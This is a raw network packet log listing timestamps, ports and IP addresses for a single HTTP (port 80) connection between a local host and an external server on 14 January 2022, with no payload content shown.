Jan 14, 2022 21:06:07.737003088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737020016 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737035036 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737041950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737051964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737068892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737070084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737085104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737101078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737101078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737123966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737138987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737138987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737157106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737171888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737188101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737190962 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737205029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737222910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737224102 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737238884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737242937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737256050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737271070 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737272024 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737288952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737299919 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737308025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737324953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737340927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737344980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737358093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737374067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737375021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737390995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737406969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737423897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737425089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737442970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737453938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737458944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737474918 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737477064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737493992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737509966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737513065 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737528086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737543106 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737545013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737562895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737577915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737595081 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737596989 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737613916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737623930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737631083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737643957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737648964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737668037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737683058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737683058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737700939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737718105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737734079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737734079 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737751961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737766027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737766981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737785101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737785101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737801075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737812042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737817049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737834930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737859964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737868071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737891912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737904072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737915993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737936974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737948895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.737953901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737971067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737987995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.737987995 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738006115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738019943 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738023043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738039970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738055944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738065004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738073111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738078117 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738090992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738107920 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738107920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738126993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738137007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738143921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738161087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738177061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738179922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738193989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738209963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738212109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738229036 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738244057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738260031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738260031 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738276005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738287926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738292933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738306046 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738311052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738327980 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738343000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738344908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738358021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738373041 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738373995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738392115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738404036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738405943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738423109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738434076 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738439083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738456011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738471031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738486052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738488913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738502026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738503933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738518000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738533020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738533020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.738548994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.738570929 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.749102116 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.792603016 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792660952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792700052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792715073 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.792740107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792751074 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.792779922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792819023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792857885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792862892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.792895079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792900085 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.792932987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.792968035 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.792972088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793009043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793047905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793081999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793085098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793124914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793162107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793164968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793201923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793236017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793241024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793279886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793315887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793315887 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793355942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793390036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793392897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793435097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793469906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793473959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793510914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.793545961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.793550014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795341969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795387030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795408964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795423985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795424938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795466900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795505047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795543909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795564890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795583963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795593977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795620918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795660019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795697927 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795697927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795737028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795775890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795775890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795814991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795852900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795856953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795898914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795936108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.795937061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.795975924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796013117 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796016932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796056986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796092033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796094894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796133995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796169996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796171904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796212912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796248913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796251059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796289921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796328068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796329975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796369076 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796406984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796407938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796447039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796484947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796487093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796528101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796565056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796566010 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796606064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796642065 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796644926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796681881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796720982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796724081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796757936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796796083 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796797037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796837091 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796874046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796879053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796911001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796947956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.796950102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.796987057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797022104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797025919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797064066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797099113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797101974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797142029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797177076 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797178030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797218084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797254086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797256947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797312021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797349930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797363043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797403097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797437906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797441006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797482967 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797517061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797521114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797559977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797594070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797597885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797635078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797683001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797688007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797725916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797763109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797763109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797802925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797837973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797840118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797905922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797943115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.797945976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.797985077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798018932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798021078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798060894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798095942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798099041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798139095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798175097 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798178911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798217058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798233986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798257113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798295975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798330069 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798332930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798372030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798404932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798409939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798450947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798485994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798490047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798527956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798558950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798567057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798589945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798605919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798607111 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798644066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798681974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798717022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798719883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798758984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798794985 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798799038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798835039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798868895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798876047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798914909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798948050 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.798950911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.798990965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799024105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.799029112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799068928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799103022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.799108028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799145937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799179077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.799185991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799226046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799259901 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.799263954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799303055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799336910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.799340963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799381018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.799416065 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.805507898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.806953907 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.811029911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850256920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850290060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850315094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850337029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850359917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850383043 CET	80	49908	81.163.30.181	192.168.2.5
